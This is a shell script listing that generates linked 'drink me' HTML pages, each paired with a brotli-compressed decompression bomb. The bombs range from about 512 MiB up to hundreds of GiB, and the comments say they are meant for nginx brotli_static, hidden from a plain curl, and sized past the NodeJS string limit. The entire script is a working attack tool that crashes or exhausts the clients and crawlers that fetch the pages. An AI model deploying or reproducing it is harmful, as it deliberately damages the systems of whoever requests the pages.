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gen-drink-me.sh (1317B)

    

  1. #!/bin/sh
  3. for i in $(seq 13 1)
  4. do
  5. 	echo "generating drink-me-$i.html"
  7. 	# Generate non-evil version so nginx will use brotli_static
  8. 	# and a simple curl at it will not show the evil
  9. 	printf \
  10. '<!DOCTYPE html>
  11. <html>
  12. 	<head><meta charset="utf-8"><title>drink me %d</title></head>
  13. 	<body>
  14. 		<main>
  15. 			<p><a href="./drink-me-%d.html">prev</a> - <a href="./drink-me-%d.html">next</a></p>
  16. 			<q>%s</q>
  17. 		</main>
  18. 	</body>
  19. </html>
  20. ' \
  21. 		"$i" \
  22. 		$((i - 1)) \
  23. 		$((i + 1)) \
  24. 		"$(fortune)" \
  25. 		> "drink-me-$i.html"
  27. 	size=$(wc -c <"drink-me-$i.html")
  29. 	chmod +r "drink-me-$i.html"
  31. 	# == Generate evil-brotli version ==
  33. 	# NodeJS string limit: 536870888 (24 bytes less than exactly 512MiB)
  34. 	# ((8^10)/2)-(8*10) ~= 512 MiB
  35. 	# ((8^11)/2)-(8*11) ~=   4 GiB
  36. 	# ((8^12)/2)-(8*12) ~=  32 GiB
  37. 	# ((8^13)/2)-(8*13) ~= 256 GiB
  38. 	evil_size=$(echo "${size}+((8^${i})/2)-(8*${i})" | bc)
  40. 	echo "generating drink-me-$i.html.br (${evil_size} bytes)"
  41. 	{
  42. 		printf \
  43. '<!DOCTYPE html>
  44. <html>
  45. 	<head><meta charset="utf-8"><title>drink me %d</title></head>
  46. 	<body>
  47. 		<main>
  48. 			<p><a href="./drink-me-%d.html">prev</a> - <a href="./drink-me-%d.html">next</a></p>
  49. ' \
  50. 		"$i" \
  51. 		$((i - 1)) \
  52. 		$((i + 1))
  54. 		yes '
  55. 			<p><a href="#">'
  56. 	} \
  57. 	| head -c "${evil_size}" \
  58. 	| brotli -f -Z -o "drink-me-$i.html.br"
  60. 	chmod +r "drink-me-$i.html.br"
  61. done